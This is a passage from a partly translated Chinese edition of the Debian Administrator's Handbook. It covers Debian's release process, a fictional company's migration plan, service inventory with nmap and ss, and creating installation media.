否則，此散佈版通常會將重大修改納入基礎軟體套件中，因為一旦整合進 Unstable 不穩定版中的軟體有重大臭蟲，可能導致後果不堪設想。因此，它是完全隔絕且獨立的散佈版，其軟體套件絕不會移入其他版本中 (除非有情況需要維護者或 ftp 管理者直接、快速干預)。它也不能自我納入：僅既有軟體套件的部分子集具有 Experimental 實驗版，通常不包括基礎系統。此散佈版因此會與其他能自我納入的散佈版一同搭配使用，例如 Ustable 版。

1.6.2. 不穩定狀態

Let us turn back to the case of a typical package. The maintainer creates an initial package, which they compile for the Unstable version and place on the ftp-master.debian.org server. This first event involves inspection and validation from the ftpmasters. The software is then available in the Unstable distribution, which is the “cutting edge” distribution chosen by users who are more concerned with having up-to-date packages than worried about serious bugs. They discover the program and then test it.

碰到錯誤後，向套件維護者報告。維護者會定期準備修正版，然後再上傳至伺服器。

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. The maintainer uploads the package sources (without any precompiled package). The autobuilders take over and automatically compile versions for all supported architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

圖形 1.2. 由自動建立者編譯的套件

快速查看 buildd，Debian 套件再編譯者

buildd是 “build daemon” 的縮寫，意思是魔鬼建立器。在指定的架構自動編譯Debian套件的程式(儘量避免跨平台)。

因此，arm64機器專門為arm64架構建立二元檔案。buildd程式從Debian發展者的原始套件裡持續產生arm64架構的二元套件。

Debian所有的電腦都能使用此自動建立器。擴大而言，buildd一辭常用於這些機器，僅供此目的使用。

1.6.3. 移殖至測試

稍後，套件略為成熟後；編譯全部的架構，不再發生新的修訂。才能成為測試版的候選 — 基於某些標準供不穩定套件使用。根據以下的品管保證細目，每天都有程式被自動選入測試版：

1. 在所有官方支援的架構裡編繹成功；

2. 沒有嚴重錯誤，或，少於當前測試版；

3. at least 5 days spent in Unstable, which is usually sufficient time to find and report any serious problems (successfully passing the package's own test suite, if it has one, reduces that time);

4. dependencies that can be satisfied in Testing, or that can at least be moved there together with the package in question;

5. automatic quality tests of the package (autopkgtest) — if defined — don't show any regression.

此系統不是萬無一失；在測試版經常發現套件的嚴重錯誤。不過，還是很有效果的，而且測試版的問題遠遠少於 不穩定版，對很多人來說，是穩定與新鮮之間的折衷選擇。

說明被限制的測試版

很有趣的原則，測試版應沒有實際的問題：套件的跨平台相依性很難獨立完成。套件彼此相依，必須同時殖入大量的套件，事實上很難同時殖入定期更新的套件。另一方面，很難製作用於辨認相關套件家族的腳本(這是NP完備的問題，還好我們知道若干路徑)。以手動方式與腳本互動並指引若干可能的套件，或納入指定套件於群組內，即使此方法打破若干相依性。這些功能由釋出經理及其團隊負責。

NP完備的召出率是複雜的指數演算法，與資料量、程式碼長度(圖表的量)與涉入的元素有關。唯一的解決方案是時時檢視所有可能的組態，可能需要很多方法。啟發式是一種接近，但滿意的，解決方案。

社群 釋出經理

釋出經理是個重要的職位，責任很重。擔任此職的人，必須管理 Debian 新的、穩定版，並設定發展測試版的程序，直到進入穩定版的品質。同時設定暫行進度 (不見得遵守它)。

We also have Stable Release Managers, often abbreviated SRM, who manage and select updates for the current stable version of Debian. They systematically include security patches and examine all other proposals for inclusion, on a case by case basis, sent by Debian developers eager to update their package in the stable version.

1.6.4. 從測試版至穩定版

Let us suppose that our package is now included in Testing. As long as it has room for improvement, its maintainer must continue to improve it and restart the process from Unstable (but its later inclusion in Testing is generally faster: unless it changed significantly, all of its dependencies are already available). When it reaches perfection, the maintainer has completed their work. The next step is the inclusion in the Stable distribution, which is, in reality, a simple copy of Testing at a moment chosen by the Release Manager. Ideally, this decision is made when the installer is ready, and when no program in Testing has any known critical bugs.

實際上，還沒有真的進入穩定版，Debian 必須妥協：移除維護者無法更正錯誤的套件、或容許在數千個程式中還有幾個錯誤。釋出經理曾宣告凍結期間，想被納入測試版更新必須通過認可的程序。其目標是避免新版本(及其新錯誤)，與祗有被認可的錯誤修訂。

圖形 1.3. 套件通過多個 Debian 版本的途徑

術語 凍結：最後一哩路

在冷凍期，停止測試版的發展；不允許自動更新。祗有釋出經理授權的套件，才能依照指示更新。其目的是避免新版本帶新的錯誤；更正過的錯誤通過審查過的更新才能納入。

After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 10.1, 10.2, 10.3 for version 10). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).

At the end of the journey, our hypothetical package is now included in the stable distribution. This journey, not without its difficulties, explains the significant delays separating the Debian Stable releases. This contributes, over all, to its reputation for quality. Furthermore, the majority of users are satisfied using one of the three distributions simultaneously available. The system administrators, concerned above all about the stability of their servers, don't need the latest and greatest version of GNOME; they can choose Debian Stable, and they will be satisfied. End users, more interested in the latest versions of GNOME or KDE Plasma than in rock-solid stability, will find Debian Testing to be a good compromise between a lack of serious problems and relatively up-to-date software. Finally, developers and more experienced users may blaze the trail, testing all the latest developments in Debian Unstable right out of the gate, at the risk of suffering the headaches and bugs inherent in any new version of a program. To each their own Debian!

CULTURE GNOME and KDE Plasma, graphical desktop environments

GNOME (originally an acronym for GNU Network Object Model Environment) and Plasma by KDE (formerly known as K Desktop Environment) are the two most popular/established graphical desktop environments in the free software world, and will be presented in greater detail in 節 13.3, “Graphical Desktops”.

A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the KDE community has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).

→ https://www.gnome.org/

→ https://kde.org/

圖形 1.4. Debian 包裝程式的圖徑

1.6.5. 舊穩定版與更舊穩定版狀態

每個穩定版預計有五年壽命每二年發行新的穩定版，同一時間最多可有三個支援的穩定版在流通。新的穩定版釋出時，前個版本就變成舊穩定版而更早的就成為更舊穩定版。

Debian 的長期支援版 (This Long Term Support, LTS) 是新的成員：由獨立的奉獻者及公司聯合的 Debian LTS 團隊完成。Debian 安全團體不在維護舊的版本。

The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each release benefits from at least 5 years of support and so that users can upgrade from version N to N+2, for example, from Debian 9 Stretch to Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

社群支援 LTS 的公司

Long Term Support is a difficult commitment to make in Debian because volunteers tend to avoid the work that is not very fun. And providing security support for 5 year old software is — for many contributors — a lot less fun than packaging new upstream versions or developing new features.

長期支援版的問世，有賴於參與公司願意分享安全維護的成本。

The project started in June 2014: some organizations allowed their employees to contribute part-time to Debian LTS while others preferred to sponsor the project with money so that Debian contributors get paid to do the work that they would not do for free. Most Debian contributors willing to be paid to work on LTS got together to create a clear sponsorship offer managed by Freexian (Raphaël Hertzog's company):

→ https://www.freexian.com/services/debian-lts.html

In the Debian LTS team, the volunteers work on packages they care about while the paid contributors prioritize packages used by their sponsors.

The project is always looking for new sponsors: What about your company? Can you let an employee work part-time on long term support? Can you allocate a small budget for security support?

→ https://wiki.debian.org/LTS/Funding

章 2. 個案呈現

In the context of this book, you are the system administrator of a growing small business. The time has come for you to redefine the information systems master plan for the coming year in collaboration with your directors. You choose to progressively migrate to Debian, both for practical and economical reasons. Let's see in more detail what is in store for you…

這些個案是中小企業的資訊系統。閱讀此書後，您將具備安裝 Debian 於伺服器的能力可以單飛了。您也將學會在困難時有效地找尋資訊。

2.1. 高速成長的資訊科技需求

Falcot 公司是高品質揚聲器材的製造商。公司的成長極為強勁，擁有兩處設施，一個在法國羅亞爾省的首府聖艾蒂安，另一個在法國埃羅省的首府蒙佩利爾，相距300多公里。前者有150多名員工；及生產揚聲器的工廠、設計實驗室、以及行政辦公室。蒙佩利爾較小，只有約50名員工，生產擴大器。

說明個案學習用的虛擬公司

Falcot 公司是完全虛構的。如有雷同純屬巧合。同樣的，本書的其他資料也是虛構的。

The information system has had difficulty keeping up with the company's growth, so they are now determined to completely redefine it to meet various goals established by management:

- 現代化、容易擴展的架構；

- 使用開源軟體減少軟體授權費用；

- 安裝電子商務網站，可能是 B2B (商業對商業模式，即連結不同公司的資訊系統，諸如供應商及其客戶)；

- 顯著改善安全性以保護新產生的商業機密。

在此等目標之下重新建置整個資訊系統。

2.2. 總體規畫

在您的協助下，資訊科技管理部門做了略為廣泛的研究，辨識出限制並規畫移殖計畫選定 Debian 這個開放源碼系統。

最大的限制是會計部門使用祗在Microsoft 視窗™環境運行的特定軟體。以及，實驗室人員使用祗在OS X™環境執行的電腦輔助設計軟體。

圖形 2.1. 檢視 Falcot 公司的網路

將逐步轉換至 Debian；中小企業的工具有限，不能瞬間改變一切。資訊科技部門員工，必須先接受 Debian 管理的訓練。然後轉換伺服器，從網路架構開始 (路由器、防火牆等) 然後是使用者的服務 (檔案共享、網頁、電子郵件傳輸協定等)。再把辦公室的電腦逐步移殖至 Debian，於布建新系統時訓練每個部門 (內部)。

2.3. 為什麼選擇 GNU/Linux 發行版？

基本Linux 或 GNU/Linux？

如您所知，Linux，祗是一個核心程式。所以，“Linux 發行版” 與 “Linux 系統”，都是不正確的稱呼：實際上是，以 Linux 為基礎發行版或系統。這種表示法未能提及搭配於核心之外的軟體，就是由 GNU 計畫發展出來的程式。理察·馬修·斯托曼博士創始該計畫，堅持使用 “GNU/Linux”，才能辨識出 GNU 計畫的重要貢獻及其自由的原則。

Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly. Thus, the latest stable release is Debian GNU/Linux 11.

很多因素影響此抉擇。熟悉此發行版的系統管理員，確認 Debian 在全新電腦系統候選名單之內。儘管對公司的未來極為重要，困難的經濟情況與殘酷的競爭還是限制此作業的預算。這就是開放源碼方案勝出的原因：若干最近的研究指出，祗要有合格的人員執行，在相同或更佳服務品質的前提下，Debian 的花費小於專屬軟體。

IN PRACTICE Total Cost of Ownership

The Total Cost of Ownership (TCO) is the total of all money expended for the possession or acquisition of an item, in this case referring to the operating system. This price includes any possible license fee, costs for training personnel to work with the new software, replacement of machines that are too slow, additional repairs, etc. Everything arising directly from the initial choice is taken into account.

整體擁有成本係根據現況而來，抽離環境單獨來看就沒有意義。然而，在相同規則下，可以計算各選擇的整體擁有成本。此估價表是最重要的，很容易依此得出結論。所以，單個機器的整體擁有成本沒有意義，管理員的成本可以攤入其能管理的機器數，其數量與作業系統和工具有關。

眾多作業系統中，被IT部門列入候選名單的包括自由的 BSD 系統 (OpenBSD、FreeBSD、與 NetBSD)、GNU Hurd、與 Linux 發行版。GNU Hurd 還沒有釋出穩定版，立即被排除。祗剩下 BDS 與 Linux 可選。前者的優點很多，尤其在伺服器領域。然而，從實用的角度看，還是選擇 Linux 系統，因為它的安裝基礎與流行度都相當不錯而且也有很多正面的意義。其中包括很容易找到管理 Linux 機器的合格人員。尤有甚者，Linux 採用更新更快的硬體 (雖然差距不大)。最後，Linux 發行版多半伴隨親切的圖形使用者介面，初學者最需要它。

其他選擇 Debian GNU/kFreeBSD

Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32-bit and 64-bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 architectures mean. While these architectures are not “official” (they are hosted on a separate mirror — ports.debian.org), they provide over 60% of the software packaged by Debian.

這種架構可能是 Falcot 公司管理者的恰當選擇，特別在防火牆 (核心程式支援三種不同的防火牆：IPF、IPFW、PF) 或 NAS (網路附加儲存系統，已測試及認可 ZFS 檔案系統) 方面。

2.4. 為什麼選擇 Debian 發行版？

選定 Linux 系列後，還要選發行版。同樣的，選擇很多。必須能夠使用多年，因為轉換系統極為費時費力又費錢 (雖然比在完全不同的系統間切換較為省事，如 Windows 或 OS X)。

Sustainability is, thus, essential, and it must guarantee regular updates and security patches over several years. The timing of updates is also significant, since, with so many machines to manage, Falcot Corp cannot handle this complex operation too frequently. The IT department, therefore, insists on running the latest stable version of the distribution, benefiting from the best technical assistance, and guaranteed security patches. In effect, security updates are generally only guaranteed for a limited duration on older versions of a distribution.

Finally, for reasons of homogeneity and ease of administration, the same distribution must run on all the servers and office computers.

2.4.1. 商業與社群推動的發行版

There are two main categories of Linux distributions: commercial and community-driven. The former, developed by companies, are sold with commercial support services. The latter are developed according to the same open development model as the free software of which they are comprised.

A commercial distribution will have, thus, a tendency to release new versions more frequently, in order to better market updates and associated services. Their future is directly connected to the commercial success of their company, and many have already disappeared (Caldera Linux, StormLinux, Mandriva Linux, etc.).

社群發行版祗有自己的更新時間表。如同 Linux 核心，穩定後就發布新的發行版，永遠不會發布不穩定的版本。只要有足夠的個人發展者或第三方公司支援它，就能保證其存在。

從眾多發行版裡選取 Debian 的理由如下：

- 它是社群發行版，不受任何商業行為限制；它的目標是技術導向，偏向控制產品的品質。

- 在社群發行版中，各方面都是最優的：奉獻者、可用的套件數、以及持續存在的年限。社群的規模更是無可匹敵的。

- 從過去的資訊分析，每隔 18 至 24 個月就有新的版本，都支援 5 年，管理者都贊同的時間表。

- 針對法國自由軟體服務公司的調查發現，參與調查的公司都提供 Debian 的技術支援；同時，也是它們內部所使用的發行版。在服務提供者的多樣性是保持 Falcot 公司獨立不受特定廠商控制的重要原因。

- 最後，Debian 支援眾多架構，包括 OpenPOWER 處理器的 ppc64el；因此，它可以裝載於 Falcot 公司最新的 IBM 伺服器上。

實務 Debian 長期支援

Debian 長期支援 (Long Term Support, LTS) 計畫始於2014年，旨在為所有的 Debian 穩定發行版提供 5 年的安全支援。由於 LTS 對大量部署 Debian 的組織極其重要，此計畫試圖從使用 Debian 的公司彙集資源。

→ https://wiki.debian.org/LTS

Falcot Corp is not big enough to let one member of its IT staff contribute to the LTS project, so the company opted to subscribe to Freexian's Debian LTS contract and provides financial support. Thanks to this, the Falcot administrators know that the packages they use will be handled in priority and they have a direct contact with the LTS team in case of problems.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Bullseye.

2.5. Why Debian Bullseye?

Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time you read those lines, Debian Bullseye is the latest “Stable” version of Debian.

The choice of Debian Bullseye is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough, and because the latest version brings new interesting features that they care about.

章 3. 分析當前設置與移殖

任何系統的翻修都應將既有的系統考慮進去。包括儘可能再利用資源以及與系統的各元素協調無礙。以下的個案研究將介紹從其他通用框架移殖至 Linux 計算基礎。

3.1. 在異質環境中共存

Debian 能和既存的環境整合無礙，並與其他作業系統共存。這近乎完美的和諧來自市場的壓力，要求軟體發布者遵守一定的標準。接受這些標準讓管理員能靈活轉出各種程式：用戶端或伺服器端、免費或收費。

3.1.1. 與視窗機器整合

Samba's SMB/CIFS support ensures excellent communication within a Windows context. It shares files and print queues to Windows clients and includes software that allows a Linux machine to use resources available on Windows servers.

工具 Samba

最新版的 Samba 可取代視窗系統大部份的功能：從簡單的 Windows NT 伺服器 (認證、檔案、列印佇列、下載列表機伺服器、DFS等) 到 最高階款(相容於 Active Directory 的域名控制)。

3.1.2. Integration with macOS machines

macOS machines provide, and are able to use, network services such as file servers and printer sharing. These services are published on the local network, which allows other machines to discover them and make use of them without any manual configuration, using the Bonjour implementation of the Zeroconf protocol suite. Debian includes another implementation, called Avahi, which provides the same functionality.

In the other direction, the Netatalk daemon can be used to provide file servers to macOS machines on the network. It implements the AFP protocol (Apple Filing Protocol, now AppleShare) as well as the required notifications so that the servers can be automatically discovered by the macOS clients.

更舊的 Mac OS 網路 (OS X 之前) 使用稱為 AppleTalk 的協定。採用此等協定的環境，Netatalk 也能提供 AppleTalk 協定 (實際上，是再應用該協定)。確保檔案伺服器與列印佇列以及時間伺服器 (時鐘同步)的運作。它的路由器功能允許與 AppleTalk 網路溝通。

3.1.3. 與其他 Linux/Unix 機器整合

Finally, NFS (Network File System) and NIS (Network Information Service), both included, guarantee interaction with Unix systems. NFS ensures file server functionality, while NIS creates user directories. The BSD printing layer, used by most Unix systems, also allows sharing of print queues.

圖形 3.1. Debian 與 OS X、Windows 與 Unix 系統共存

3.2. 移殖的方法

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies regardless of which operating system is used.

3.2.1. 調查與鑑定服務內容

如文字所述，此步驟是必要的。嚴謹的管理者知道每部伺服器的主要作用，但該等作用經常改變，有經驗的使用者偶而會安裝 “狂野” 的服務。知道他們的存在至少可以決定處理的方式，而不是胡亂地刪除它們。

For this purpose, it is wise to inform your users of the project before migrating the server. To involve them in the project, it may be useful to install the most common free software programs on their desktops prior to migration, which they will come across again after the migration to Debian; LibreOffice and the Mozilla suite are the best examples here.

3.2.1.1. 網路與程序

nmap 工具 (在同名套件中) 可以在未登錄的前提下，快速地經由網路連結機器辨識網際網路服務。在另部機器鍵入命令連結至同個網路：

$ nmap mirwiz

Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST

Nmap scan report for mirwiz (192.168.1.104)

Host is up (0.00062s latency).

Not shown: 992 closed ports

PORT     STATE SERVICE

22/tcp   open  ssh

25/tcp   open  smtp

80/tcp   open  http

111/tcp  open  rpcbind

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds

5666/tcp open  nrpe

9999/tcp open  abyss

Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVE Use ss to find the list of available services

On a Linux machine, the ss -anptu command will show the list of active or pending TCP sessions, as well as UDP ports on which running programs are listening. This facilitates identification of services offered on the network.

下一步 IPv6

Some network commands may work either with IPv4 (the default usually) or with IPv6. These include the nmap and ss commands, but also others, such as route or ip. The convention is that this behavior is enabled by the -6 command-line option.

If the server is a Unix machine offering shell accounts to users, it is interesting to determine if processes are executed in the background in the absence of their owner. The command ps auxw displays a list of all processes with their user identity. By checking this information against the output of the who or w commands, which give a list of logged in users, it is possible to identify rogue or undeclared servers or programs running in the background. Looking at crontabs (tables listing automatic actions scheduled by users) will often provide interesting information on functions fulfilled by the server (a complete explanation of cron is available in 節 9.7, “以 cron 和 atd 使用排定的工作”).

任何狀況下，都該先備份您的伺服器：使用者報告問題時，就能復原它。

3.2.2. 備份組態

保留所有設備的備份供昇級後伺服器的參考。至少應備份組態檔。

Unix 機器的組態檔，通常在 /etc/ 資料夾內，有時放在 /usr/local/ 的次資料夾裡。若從原始碼開始安裝程式而不是由套件安裝，組態檔就會放在前述的次資料夾內。偶而，還可在 /opt/ 找到組態檔。

在資料管理服務 (如資料庫) 時，強烈建議以標準格式匯出的資料容易被新軟體接受。通常是文字格式，也可能是從資料庫以 SQL 下載，或從 LDAP 伺服器下載 LDIF 檔案。

圖形 3.2. 備份資料庫

每個伺服器都不一樣，不能詳述所有個案。比較各軟體的文件辨認匯出 (即，再匯入) 的方式以及需要人工處理的部份。此書處理 Linux 伺服器程式的主要組態。

3.2.3. 接手現有的 Debian 伺服器

先分析正在執行 Debian 的機器，才能有效地接管維護工作。

第一個查看的檔案是 /etc/debian_version，通常包括 Debian 系統的版本編號 (它是 base-files 套件的一部份)。若以 代碼/sid 方式呈現，表示此系統從該代碼版本取得的最新版套件 (測試版或不穩定版)。

apt-show-versions 程式 (from the Debian package of the same name) 檢查安裝的套件並辨識可用的版本。aptitude 以表單的方式，做同樣的工作。

查看 /etc/apt/sources.list 檔案 (以及 /etc/apt/sources.list.d/ 資料夾) 可看到已安裝 Debian 套件的來源。若出現不明來源，管理員可能選擇重新安裝電腦系統確保其軟體與 Debian 相容。

The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.).

同樣的，分析 /usr/local/ 資料夾的內容，其目的是收錄編譯後與手動安裝後的程式。列出以此方式安裝的軟體清單，指出一個問題，為什麼不使用 Debian 對應的套件。

QUICK LOOK cruft/cruft-ng, debsums, and apt-show-versions

The cruft and cruft-ng packages propose to list the available files that are not owned by any package. They have some filters (more or less effective, and more or less up to date) to avoid reporting some legitimate files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.).

Be careful to not blindly delete everything that cruft and cruft-ng might list!

The debsums package allows to check the MD5 hashsum of each file installed by a package against a reference hashsum and can help to determine, which files might have been altered (see TIP Finding changed files). Be aware that created files (files generated by Debian packages, or generated configuration files not managed by dpkg, etc.) are not subject to this check.

The apt-show-versions package provides a tool to check for installed packages without a package source and can help to determine third party packages (see 節 6.7.3.1, “Packages removed from the Debian Archive”).

3.2.4. 安裝 Debian

知道當前伺服器的必要資訊後，就可以關閉它並開始安裝 Debian。

依照電腦的架構，選擇適當的版本。近幾年的 PC，很可能是 amd64 (稍舊的是 i386)。其他的情況，則依照安裝的舊系統來判斷。

表格 3.1 is not intended to be exhaustive, but may be helpful. Note that it lists Debian architectures which are no longer supported in the current stable release. In any case, the original documentation for the computer is the most reliable source to find this information.

表格 3.1. 作業系統與架構對照表

作業系統

架構

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows RT

armel, armhf, arm64

Windows Vista / Windows 7-8-10

i386, amd64

硬體 64 位元 PC 與 32 位元 PC

近年的電腦使用 64 位元 Intel 或 AMD 處理器，相容於稍舊的 32 位元處理器；為 “i386” 架構編繹的軟體也適用。從另個角度來看，此相容的軟體無法充份發揮新處理器的效能。所以 Debian 提供 “amd64” 架構的版本，針對最新的 AMD 晶片以及 Intel “em64t” 處理器 (包括大多數的 Core 系列)，它們極度類似 AMD64。

3.2.5. 安裝與組態選定的服務

Once Debian is installed, we need to individually install and configure each of the services that this computer must host. The new configuration must take into consideration the prior one in order to ensure a smooth transition. All the information collected in the first two steps will be useful to successfully complete this part.

圖形 3.3. 安裝指定的服務

全面進入此練習前，強烈建議您閱讀本書其他部份。才能夠較精細地瞭解對預期服務的組態方式。

章 4. 安裝

使用 Debian 之前，需先安裝；此工作由 debian-installer 程式處理。安裝包括若干作業。此章依序檢視其流程。

基本知識 附錄內的預備課程

熟悉之後在電腦安裝作業系統是很單純的事。若還不熟悉，請先閱讀 附錄 B, Short Remedial Course。

The installer for Bullseye is based on debian-installer. Its modular design enables it to work in various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied by the need to support a large number of architectures, this installer is very accessible to beginners, since it assists users at each stage of the process. Automatic hardware detection, guided partitioning, and graphical user interfaces have solved most of the problems that novices used to face in the early years of Debian.

Installation requires 256 MB of RAM (Random Access Memory) and at least 2 GB of hard drive space. All Falcot computers meet these criteria. Note, however, that these figures apply to the installation of a very limited system without a graphical desktop. A minimum of 2 GB of RAM and 10 GB of hard drive space are really recommended for a basic office desktop workstation.

BEWARE Upgrading from Buster

If you already have Debian Bullseye installed on your computer, this chapter is not for you! Unlike other distributions, Debian allows updating a system from one version to the next without having to reinstall the system. Reinstalling, in addition to being unnecessary, could even be dangerous, since it could remove already installed programs.

昇級過程在 節 6.7, “升級至下個穩定發行版”。

Upgrading from even older Debian systems directly is not supported. In this case you need to update gradually to the stable release which followed your Debian version, and so on. Previous versions of this book will assist you in that matter.

4.1. 安裝方式

A Debian system can be installed from several types of media, as long as the BIOS/UEFI (see NOTE UEFI, a modern replacement to the BIOS) of the machine allows it. You can for instance boot with a CD-ROM, a USB key, or even through a network.

4.1.1. 從 CD-ROM/DVD-ROM 安裝

最常見的安裝媒質是 CD-ROM (或 DVD-ROM，操作方式完全一樣)：電腦從此啟動，然後由安裝程式接管。

Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on the architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 19 DVD-ROMs (or 4 Blu-ray disks). There is no more official CD-ROMs set as they were really huge, rarely used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are divided among the disks according to their popularity and importance; the first disk will be sufficient for most installations, since it contains the most used software.

最後一種映像為 mini.iso，是安裝器的副產品。該映像僅包括組態網路所需的最少內容，其他的東西必須 從網路下載 (包括部份安裝器本身，剛釋出的新版安裝器之所以脆弱的原因之一)。這些映像可以從 Debian 鏡射站的 dists/release/main/installer-arch/current/images/netboot/ 資料夾取得。

技巧 多架構光碟

大部分的安裝 CD- 和 DVD-ROM 祗適用於特定的硬體架構。必須仔細選取適合光碟，才能適用於特定的硬體架構。

Some CD/DVD-ROM images can work on several architectures. We thus have a CD-ROM image combining the netinst images of the i386 and amd64 architectures.

To acquire Debian CD-ROM images, you may, of course, download them and burn them to disk. You may also purchase them, and, thus, provide the project with a little financial support. Check the website to see the list of DVD-ROM image vendors and download sites.

→ https://www.debian.org/CD/

4.1.2. 從 USB 隨身碟啟動

允許從 USB 裝置啟動的電腦，就可以 USB 隨身碟 (就是小小的姆指碟) 安裝 Debian。

安裝指南說明製作包含 debian-installer USB 隨身碟的方法。安裝過程很簡單，因為 i386 和 amd64 架搆的 ISO 映像是混合的，可像 CD-ROM 一樣從 USB 隨身碟啟動。

You must first identify the device name of the USB key (ex: /dev/sdb); the simplest means to do this is to check the messages issued by the kernel using the dmesg command. Then you must copy the previously downloaded ISO image (for example, debian-11.0.0-amd64-netinst.iso) with the command cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. This command requires administrator rights, since it accesses the USB key directly and blindly erases its content.

A more detailed explanation is available in the installation manual. Among other things, it describes an alternative method of preparing a USB key that is more complex, but that allows you to customize the installer's default options (those set in the kernel command line).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. 從網路安裝

很多 BIOS 允許下載核心與極小的檔案系統映像檔，就能直接從網 路啟動。沒有光碟機或 BIOS 不支援光碟機時，這種方法 (有多種名稱，如 PXE 或 TFTP boot) 就是救命工具。

這種安裝方法有兩個步驟。首先，啟動電腦時，BIOS (或網路卡) 送出 BOOTP/DHCP 請求自動取得 IP 位址。當 BOOTP 或 DHCP 伺服器回應請求，包括檔案名稱與網路設定。網路組態後，客戶端電腦送出 TFTP (Trivial File Transfer Protocol) 請求，要求一個稍早指定的檔案名稱。取得檔案後，把它當成啟動載入器執行。然後啟動 Debian 安裝程式，就像從硬碟、光碟、或 USB 隨身碟啟動一般。

All the details of this method are available in the installation guide (“Preparing files for TFTP Net Booting” section).

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. 其他安裝方法

When we have to deploy customized installations for a large number of computers, we generally choose an automated rather than a manual installation method. Depending on the situation and the complexity of the installations to be made, we can use FAI (Fully Automatic Installer, described in 節 12.3.1, “Fully Automatic Installer (FAI)”), or even a customized installation DVD with preseeding (see 節 12.3.2, “預設值 Debian 安裝”).

It should also be noted that the installer can load and run an SSH server and thus provides the ability to install Debian remotely via an SSH session. The release notes also describe how to run the installer from an existing system using grub to replace it completely.

4.2. 安裝，一步步來

4.2.1. 啟動程式與啟動安裝器

BIOS 啟動 CD-ROM 或 DVD-ROM 後，立即出現 Isolinux 啟動程 式選單。此時，尚未載入 Linux 核心；此選單讓您選擇載入的核心以及轉換至此程序所需的參數。

For a standard installation, you only need to choose “Install” or “Graphical install” (with the arrow keys), then press the Enter key to initiate the remainder of the installation process. If the DVD-ROM is a “Multi-arch” disk, and the machine has an Intel or AMD 64-bit processor, those menu options enable the installation of the 64-bit variant (amd64) and the installation of the 32-bit variant remains available in a dedicated sub-menu (“32-bit install options”). If you have a 32-bit processor, you don't get a choice and the menu entries install the 32-bit variant (i386).

深入 32 位元或 64 位元？

The fundamental difference between 32- and 64-bit systems is the size of memory addresses. In theory, a 32-bit system cannot work with more than 4 GB of RAM (2^32 bytes). In practice, it is possible to work around this limitation by using the 686-pae kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64-bit mode on a server with a large amount of RAM.

For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64-bit versions. It is technically possible to make them work on 64-bit systems, but you have to install the 32-bit versions of all the necessary libraries (see 節 5.4.5, “多架構支援”), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.

實務 與視窗系統並存

不必刪除已安裝的視窗系統，Debian 可以與它併存。在不同的磁碟或分區，各自安裝，啟動電腦時再選擇其中之一。這種組態稱為 “雙重開機”，Debian 安裝系統可以設定它。在安裝的切割磁碟階段時以設定 bootloader (見專欄 實務 縮小視窗系統的分區 與 注意 啟動程式與雙重開機) 的方式完成它。

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit title…

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

基礎 啟動載入器

